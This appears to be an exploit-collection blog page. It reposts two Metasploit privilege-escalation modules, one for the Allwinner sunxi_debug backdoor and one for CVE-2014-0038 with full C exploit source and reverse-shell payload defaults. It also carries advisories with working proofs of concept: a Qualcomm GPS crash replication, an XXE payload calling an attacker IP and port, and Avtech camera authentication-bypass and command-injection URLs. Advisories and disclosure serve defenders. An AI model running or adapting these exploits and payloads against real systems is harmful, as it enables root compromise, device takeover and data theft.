Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863130414

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        "Name"           => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation",
        "Description"    => %q{
          This module attempts to exploit a debug backdoor privilege escalation in
          Allwinner SoC based devices.
          Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
          Vulnerable OS: all OS images available for Orange Pis,
                         any for FriendlyARM's NanoPi M1,
                         SinoVoip's M2+ and M3,
                         Cuebietech's Cubietruck +
                         Linksprite's pcDuino8 Uno
          Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
        },
        "License"        => MSF_LICENSE,
        "Author"         =>
          [
            "h00die <mike@stcyrsecurity.com>",  # Module
            "KotCzarny"                         # Discovery
          ],
        "Platform"       => [ "android", "linux" ],
        "DisclosureDate" => "Apr 30 2016",
        "DefaultOptions" => {
          "payload" => "linux/armle/mettle/reverse_tcp"
        },
        "Privileged"     => true,
        "Arch"           => ARCH_ARMLE,
        "References"     =>
          [
            [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
            [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
                     "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
            [ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
          ],
        "SessionTypes"   => [ "shell", "meterpreter" ],
        'Targets'        =>
          [
            [ 'Auto',           { } ]
          ],
        'DefaultTarget'  => 0,
      ))
  end

  def check
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      pl = generate_payload_exe

      exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
      vprint_good "Backdoor Found, writing payload to #{exe_file}"
      write_file(exe_file, pl)
      cmd_exec("chmod +x #{exe_file}")

      vprint_good 'Escalating'
      cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
    else
      print_error "Backdoor #{backdoor} not found."
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.
          This exploit has offsets for 3 Ubuntu 13 kernels built in:
          3.8.0-19-generic (13.04 default)
          3.11.0-12-generic (13.10 default)
          3.11.0-15-generic (13.10)
          This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
          pointer which starts at 0xff*3 (765 seconds)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Feb 2 2014',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Auto', { } ]
          ],
        'DefaultTarget'  => 0,
        'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
        'References'     =>
          [
            [ 'EDB', '31347'],
            [ 'EDB', '31346'],
            [ 'CVE', '2014-0038'],
            [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      if os_id == 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.11.0'
          if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        when '3.8.0'
          if kernel == Gem::Version.new('3.8.0-19-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end


    # direct copy of code from exploit-db.  I removed a lot of the comments in the title area just to cut down on size

    recvmmsg = %q{
      /*
      *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
      recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
      CVE-2014-0038 / x32 ABI with recvmmsg
      by rebel @ irc.smashthestack.org
      -----------------------------------
      */

      #define _GNU_SOURCE
      #include <netinet/ip.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/socket.h>
      #include <unistd.h>
      #include <sys/syscall.h>
      #include <sys/mman.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <sys/utsname.h>

      #define __X32_SYSCALL_BIT 0x40000000
      #undef __NR_recvmmsg
      #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
      #define VLEN 1
      #define BUFSIZE 200

      int port;

      struct offset {
          char *kernel_version;
          unsigned long dest; // net_sysctl_root + 96
          unsigned long original_value; // net_ctl_permissions
          unsigned long prepare_kernel_cred;
          unsigned long commit_creds;
      };

      struct offset offsets[] = {
          {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
          {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
          {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
          {NULL,0,0,0,0}
      };

      void udp(int b) {
          int sockfd;
          struct sockaddr_in servaddr,cliaddr;
          int s = 0xff+1;

          if(fork() == 0) {
              while(s > 0) {
                  fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
                  sleep(1);
                  s--;
                  fprintf(stderr,".");
              }

              sockfd = socket(AF_INET,SOCK_DGRAM,0);
              bzero(&servaddr,sizeof(servaddr));
              servaddr.sin_family = AF_INET;
              servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
              servaddr.sin_port=htons(port);
              sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
              exit(0);
          }

      }

      void trigger() {
          open("/proc/sys/net/core/somaxconn",O_RDONLY);

          if(getuid() != 0) {
              fprintf(stderr,"not root, ya blew it!\n");
              exit(-1);
          }

          fprintf(stderr,"w00p w00p!\n");
          system("/bin/sh -i");
      }

      typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
      typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
      _commit_creds commit_creds;
      _prepare_kernel_cred prepare_kernel_cred;

      // thx bliss
      static int __attribute__((regparm(3)))
      getroot(void *head, void * table)
      {
          commit_creds(prepare_kernel_cred(0));
          return -1;
      }

      void __attribute__((regparm(3)))
      trampoline()
      {
          asm("mov $getroot, %rax; call *%rax;");
      }

      int main(void)
      {
          int sockfd, retval, i;
          struct sockaddr_in sa;
          struct mmsghdr msgs[VLEN];
          struct iovec iovecs[VLEN];
          char buf[BUFSIZE];
          long mmapped;
          struct utsname u;
          struct offset *off = NULL;

          uname(&u);

          for(i=0;offsets[i].kernel_version != NULL;i++) {
              if(!strcmp(offsets[i].kernel_version,u.release)) {
                  off = &offsets[i];
                  break;
              }
          }

          if(!off) {
              fprintf(stderr,"no offsets for this kernel version..\n");
              exit(-1);
          }

          mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
          mmapped &= 0x000000ffffffffff;

              srand(time(NULL));
          port = (rand() % 30000)+1500;

          commit_creds = (_commit_creds)off->commit_creds;
          prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

          mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

          if(mmapped == -1) {
              perror("mmap()");
              exit(-1);
          }

          memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

          memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

          if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
              perror("mprotect()");
              exit(-1);
          }

          sockfd = socket(AF_INET, SOCK_DGRAM, 0);
          if (sockfd == -1) {
              perror("socket()");
              exit(-1);
          }

          sa.sin_family = AF_INET;
          sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
          sa.sin_port = htons(port);

          if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
              perror("bind()");
              exit(-1);
          }

          memset(msgs, 0, sizeof(msgs));

          iovecs[0].iov_base = &buf;
          iovecs[0].iov_len = BUFSIZE;
          msgs[0].msg_hdr.msg_iov = &iovecs[0];
          msgs[0].msg_hdr.msg_iovlen = 1;

          for(i=0;i < 3 ;i++) {
              udp(i);
              retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
              if(!retval) {
                  fprintf(stderr,"\nrecvmmsg() failed\n");
              }
          }

          close(sockfd);
          fprintf(stderr,"\n");
          trigger();
      }
    }

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname,fcontent)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      register_file_for_cleanup(fname)
    end

    if compile
      recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
                          "system(\"#{payload_path}\");")
      upload_and_chmod("#{executable_path}.c", recvmmsg)
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
      register_file_for_cleanup(executable_path)
    else
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
      fd = ::File.open( path, "rb")
      recvmmsg = fd.read(fd.stat.size)
      fd.close
      upload_and_chmod(executable_path, recvmmsg)
      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'a0RwAacU'
      payload_path = "/tmp/#{payload_filename}"
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    stime = Time.now
    vprint_status("Exploiting... May take 13min.  Start time: #{stime}")
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end
            
Original at:
https://wwws.nightwatchcybersecurity.com/2016/10/04/advisory-cve-2016-5348-2/

Summary

Android devices can be crashed remotely forcing a halt and then a soft
reboot by a MITM attacker manipulating assisted GPS/GNSS data provided
by Qualcomm. This issue affects the open source code in AOSP and
proprietary code in a Java XTRA downloader provided by Qualcomm. The
Android issue was fixed by in the October 2016 Android bulletin.
Additional patches have been issued by Qualcomm to the proprietary
client in September of 2016. This issue may also affect other
platforms that use Qualcomm GPS chipsets and consume these files but
that has not been tested by us, and requires further research.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the
Earth’s surface by using the Global Positioning System (GPS), a system
originally developed and currently maintained by the US military.
Similar systems developed and maintained by other countries exist as
well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.
The GPS signals include an almanac which lists orbit and status
information for each of the satellites in the GPS constellation. This
allows the receivers to acquire the satellites quicker since the
receiver would not need to search blindly for the location of each
satellite. Similar functionality exists for other GNSS systems. In
order to solve the problem of almanac acquisition, Qualcomm developed
the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance
since 2013). This system provides ability to GPS receivers to download
the almanac data over the Internet from Qualcomm-operated servers. The
format of these XTRA files is proprietary but seems to contain current
satellite location data plus estimated locations for the next 7 days,
as well as additional information to improve signal acquisition. Most
Qualcomm mobile chipsets and GPS chips include support for this
technology. A related Qualcomm technology called IZat adds ability to
use WiFi and cellular networks for locations in addition to GPS.

Background – Android and gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android
test device, we discovered that the device makes periodic calls to the
Qualcomm servers to retrieve gpsOneXtra assistance files. These
requests were performed almost every time the device connected to a
WiFi network. As discovered by our research and confirmed by the
Android source code, the following URLs were used:

http://xtra1.gpsonextra.net/xtra.bin
http://xtra2.gpsonextra.net/xtra.bin
http://xtra3.gpsonextra.net/xtra.bin

http://xtrapath1.izatcloud.net/xtra2.bin
http://xtrapath2.izatcloud.net/xtra2.bin
http://xtrapath3.izatcloud.net/xtra2.bin

WHOIS record show that both domains – gpsonextra.net and izatcloud.net
are owned by Qualcomm. Further inspection of those URLs indicate that
both domains are being hosted and served from Amazon’s Cloudfront CDN
service (with the exception of xtra1.gpsonextra.net which is being
served directly by Qualcomm). On the Android platform, our inspection
of the Android source code shows that the file is requested by an
OS-level Java process (GpsXtraDownloader.java), which passes the data
to a C++ JNI class
(com_android_server_location_GnssLocationProvider.cpp), which then
injects the files into the Qualcomm modem or firmware. We have not
inspected other platforms in detail, but suspect that a similar
process is used. Our testing was performed on Android v6.0, patch
level of January 2016, on a Motorola Moto G (2nd gen) GSM phone, and
confirmed on a Nexus 6P running Android v6.01, with May 2016 security
patches. Qualcomm has additionally performed testing on their
proprietary Java XTRA downloader client confirming this vulnerability.

Vulnerability Details

Android platform downloads XTRA data files automatically when
connecting to a new network. This originates from a Java class
(GpsXtraDownloader.java), which then passes the file to a C++/JNI
class (com_android_server_location_GnssLocationProvider.cpp) and then
injects it into the Qualcomm modem.

The vulnerability is that both the Java and the C++ code do not check
how large the data file actually is. If a file is served that is
larger than the memory available on the device, this results in all
memory being exhausted and the phone halting and then soft rebooting.
The soft reboot was sufficient to recover from the crash and no data
was lost. While we have not been able to achieve remote code execution
in either the Qualcomm modem or in the Android OS, this code path can
potentially be exploited for such attacks and would require more
research.

To attack, an MITM attacker located anywhere on the network between
the phone being attacked and Qualcomm’s servers can initiate this
attack by intercepting the legitimate requests from the phone, and
substituting their own, larger files. Because the default Chrome
browser on Android reveals the model and build of the phone (as we
have written about earlier), it would be possible to derive the
maximum memory size from that information and deliver the
appropriately sized attack file. Possible attackers can be hostile
hotspots, hacked routers, or anywhere along the backbone. This is
somewhat mitigated by the fact that the attack file would need to be
as large as the memory on the phone.

The vulnerable code resides here – (GpsXtraDownloader.java, lines 120-127):

connection.connect()
int statusCode = connection.getResponseCode();
if (statusCode != HttpURLConnection.HTTP_OK) {
if (DEBUG) Log.d(TAG, “HTTP error downloading gps XTRA: “ + statusCode);
return null;
}
return Streams.readFully(connection.getInputStream());

Specifically, the affected code is using Streams.readFully to read the
entire file into memory without any kind of checks on how big the file
actually is.

Additional vulnerable code is also in the C++ layer –
(com_android_server_location_GnssLocationProvider.cpp, lines 856-858):

jbyte* bytes = (jbyte *)env->GetPrimitiveArrayCritical(data, 0);
sGpsXtraInterface->inject_xtra_data((char *)bytes, length);
env->ReleasePrimitiveArrayCritical(data, bytes, JNI_ABORT);

Once again, no size checking is done. We were able to consistently
crash several different Android phones via a local WiFi network with
the following error message:

java.lang.OutOfMemoryError: Failed to allocate a 478173740 byte
allocation with 16777216 free bytes and 252MB until OOM
at java.io.ByteArrayOutputStream.expand(ByteArrayOutputStream.java:91)

(It should be noted that we were not able to consistently and reliable
achieve a crash in the C++/JNI layer or the Qualcomm modem itself)

Steps To Replicate (on Ubuntu 16.04)
1. Install DNSMASQ:
sudo apt-get install dnsmasq

2. Install NGINX:
sudo apt-get install nginx

3. Modify the /etc/hosts file to add the following entries to map to
the IP of the local computer (varies by vendor of the phone):
192.168.1.x xtra1.gpsonextra.net
192.168.1.x xtra2.gpsonextra.net
192.168.1.x xtra3.gpsonextra.net
192.168.1.x xtrapath1.izatcloud.net
192.168.1.x xtrapath2.izatcloud.net
192.168.1.x xtrapath3.izatcloud.net

4. Configure /etc/dnsmasq.conf file to listed on the IP:
listen-address=192.168.1.x

5. Restart DNSMASQ:
sudo /etc/init.d/dnsmasq restart

6. Use fallocate to create the bin files in “/var/www/html/”
sudo fallocate -s 2.5G xtra.bin
sudo fallocate -s 2.5G xtra2.bin
sudo fallocate -s 2.5G xtra3.bin

7. Modify the settings on the Android test phone to static, set DNS to
point to “192.168.1.x”. AT THIS POINT – Android will resolve DNS
against the local computer, and serve the GPS files from it.

To trigger the GPS download, disable WiFi and enable Wifi, or
enable/disable Airplane mode. Once the phone starts downloading the
files, the screen will go black and it will reboot.

PLEASE NOTE: on some models, the XTRA file is cached and not retrieved
on every network connect. For those models, you may need to reboot the
phone and/or follow the injection commands as described here. You can
also use an app like GPS Status and ToolboxGPS Status and Toolbox.

The fix would be to check for file sizes in both Java and native C++ code.

Mitigation Steps

For the Android platform, users should apply the October 2016 Android
security bulletin and any patches provided by Qualcomm. Please note
that as per Qualcomm, the patches for this bug only include fixes to
the Android Open Source Project (AOSP) and the Qualcomm Java XTRA
downloader clients. Apple and Microsoft have indicated to us via email
that GPS-capable devices manufactured by them including iPad, iPhones,
etc. and Microsoft Surface and Windows Phone devices are not affected
by this bug. Blackberry devices powered by Android are affected but
the Blackberry 10 platform is not affected by this bug. For other
platforms, vendors should follow guidance provided by Qualcomm
directly via an OEM bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security
Rewards and a bounty has been paid.

References

Android security bulletin: October 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5348
Google: Android bug # 213747 / AndroidID-29555864

CVE Information

As provided by Qualcomm:

CVE: CVE-2016-5348
Access Vector: Network
Security Risk: High
Vulnerability: CWE-400: Uncontrolled Resource Consumption (‘Resource
Exhaustion’)
Description: When downloading a very large assistance data file, the
client may crash due to out of memory error.
Change summary:

check download size ContentLength before downloading data
catch OOM exception

Credits

We would like to thank CERT/CC for helping to coordinate this process,
and all of the vendors involved for helpful comments and a quick
turnaround. This bug was discovered by Yakov Shafranovich, and the
advisory was also written by Yakov Shafranovich.

Timeline

201606-20: Android bug report filed with Google
2016-06-21: Android bug confirmed
2016-06-21: Bug also reported to Qualcomm and CERT.
2016-09-14: Coordination with Qualcomm on public disclosure
2016-09-15: Coordination with Google on public disclosure
2016-10-03: Android security bulletin released with fix
2016-10-04: Public disclosure
            
SEC Consult Vulnerability Lab Security Advisory < 20161011-0 >
=======================================================================
              title: XML External Entity Injection (XXE)
            product: RSA Enterprise Compromise Assessment Tool (ECAT)
 vulnerable version: 4.1.0.1
      fixed version: 4.1.2.0
         CVE Number: -
             impact: Medium
           homepage: https://www.rsa.com
              found: 2016-04-27
                 by: Samandeep Singh (Office Singapore)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"RSA provides more than 30,000 customers around the world with the essential
security capabilities to protect their most valuable assets from cyber threats.
With RSA's  award-winning products, organizations effectively detect,
investigate, and respond to advanced attacks; confirm and manage identities; and
ultimately, reduce IP theft, fraud, and cybercrime."

Source: https://www.rsa.com/en-us/company/about


Business recommendation:
------------------------
By exploiting the XXE vulnerability, an attacker can get read access to the
filesystem of the user's system using RSA ECAT client and thus obtain sensitive
information from the system. It is also possible to scan ports of the internal
hosts and cause DoS on the affected host.

SEC Consult recommends not to use the product until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection
The used XML parser is resolving external XML entities which allows attackers
to read files and send requests to systems on the internal network (e.g port
scanning). The vulnerability can be exploited by tricking the user of
the application to import a whitelisting file with malicious XML code.


Proof of concept:
-----------------
1) XML External Entity Injection (XXE)

The RSA ECAT client allows users to import whitelisting files in XML format.
By tricking the user to import an XML file with malicious XML code to the
application, it's possible to exploit an XXE vulnerability within the application.

For example by importing the following XML code, arbitrary files can be read
from the client's system. The following code generates the connection request
from the client system to attacker system.

===============================================================================
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>
===============================================================================

IP:port = IP address and port where the attacker is listening for connections

Furthermore some files can be exfiltrated to remote servers via the
techniques described in:

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf


Vulnerable / tested versions:
-----------------------------
The XXE vulnerability has been verified to exist in the RSA ECAT software
version 4.1.0.1 which was the latest version available at the time of
discovery.


Vendor contact timeline:
------------------------
2016-04-28: Vulnerabilities reported to the vendor by 3rd party
2016-06-23: Fixed by vendor in version 4.1.2 (ECAT-5972)
2016-10-11: SEC Consult releases security advisory


Solution:
---------
Update to version 4.1.2.0


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Singh / @2016
            
#########################################################################
# Exploit Title: sheed AntiVirus Unquoted Service Path Privilege Escalation
# Date: 11/10/2016
# Author: Amir.ght
# Vendor Homepage: http://sheedantivirus.ir/
# Software Link:http://dl.sheedantivirus.ir/setup.exe
#version : 2.3  (Latest)
# Tested on: Windows 7
##########################################################################

sheed AntiVirus installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc ShavProt
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ShavProt
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Sheed AntiVirus\shgrprot.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShavProt
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
'''
Avtech devices multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
contains the list of confirmed firmware versions, which are affected.
- Product page: http://www.avtech.com.tw/

ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
manufacturers. With stably increasing revenue and practical business
running philosophy, AVTECH has been ranked as the largest public-listed
company among the Taiwan surveillance industry. AVTECH makes every
effort on the innovation of technology, product and implementation.
Based on years of research and industry experience, AVTECH has obtained
a leading position on mobile platform support and provides a full range
of surveillance products.ö

Avtech is the second most popular search term in Shodan. According to
Shodan, more than 130.000 Avtech devices are exposed to the internet.

Vulnerabilities
---------------
1) Plaintext storage of administrative password
Every user password is stored in clear text. An attacker with access to
the device itself can easily obtain the full list of passwords. By
exploiting command injection or authentication bypass issues, the clear
text admin password can be retrieved.

2) Missing CSRF protection
The web interface does not use any CSRF protection. If a valid session
exists for the user, the attacker can modify all settings of the device
via CSRF. If there is no valid session, but the user did not change the
default admin password, the attacker can log in as admin via CSRF as well.

3) Unauthenticated information disclosure
Under the /cgi-bin/nobody folder every CGI script can be accessed
without authentication.
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
Example response:
Firmware.Version=1011-1005-1008-1002
MACAddress=00:0E:53:xx:xx:xx
Product.Type=DVR
Product.ID=308B
Product.ShortName=V_full_Indep,V_Multistream
Video.System=PAL
Audio.DownloadFormat=ULAW
Video.Input.Num=8
Video.Output.Num=1
Video.Format=H264,MJPEG
Video.Format.Default=H264
Video.Resolution=4CIF,CIF
Video.Quality=BEST,HIGH,NORMAL,BASIC
Video.Local.Input.Num=8
Video.Local.Output.Num=1
Video.Local.Format=H264,MJPEG
Audio.Input.Num=8
Audio.Output.Num=1
Audio.Format=ULAW
Audio.Local.Input.Num=8
Audio.Local.Output.Num=1
Audio.Local.Format=PCM
Language.Default=ENGLISH
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
Capability=D0,80,A,80
PushNotify.MaxChannel=8

4) Unauthenticated SSRF in DVR devices
In case of DVR devices, Search.cgi can be accessed without
authentication. This service is responsible for searching and accessing
IP cameras in the local network. In newer firmware versions, Search.cgi
provides the cgi_query action, which performs an HTTP request with the
specified parameters. By modifying the ip, port and queryb64str
parameters, an attacker is able to perform arbitrary HTTP requests
through the DVR device without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==

5) Unauthenticated command injection in DVR devices
The cgi_query action in Search.cgi performs HTML requests with the wget
system command, which uses the received parameters without sanitization
or verification. By exploiting this issue, an attacker can execute any
system command with root privileges without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

6) Authentication bypass #1
Video player plugins are stored as .cab files in the web root, which can
be accessed and downloaded without authentication. The cab file request
verification in the streamd web server is performed with the strstr
function, which means that a request should not be authenticated if it
contains the ô.cabö string anywhere in the URL. We note that some of the
models contain an additional check in the CgiDaemon, which allows
unauthenticated cgi access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*

7) Authentication bypass #2
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
authentication (e.g. for login). The streamd web server verifies whether
the request can be performed without authentication by searching for the
ô/nobodyö string in the URL with  the strstr function. Thus, if a
request contains the "/nobody" string anywhere in the URL, it does not
have to be authenticated. We note that some of the models contain an
additional check in the CgiDaemon, which allows unauthenticated cgi
access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

8) Unauthenticated file download from web root
If a cab file is requested, the web server sends the file without
processing it. Because the streamd web server verifies the cab file
request by searching for the ô.cabö string in the URL with the strstr
function, any file (even the cgi scripts) in the web root can be
downloaded without authentication.
POC: http://<device_ip>/cgi-bin/cgibox?.cab

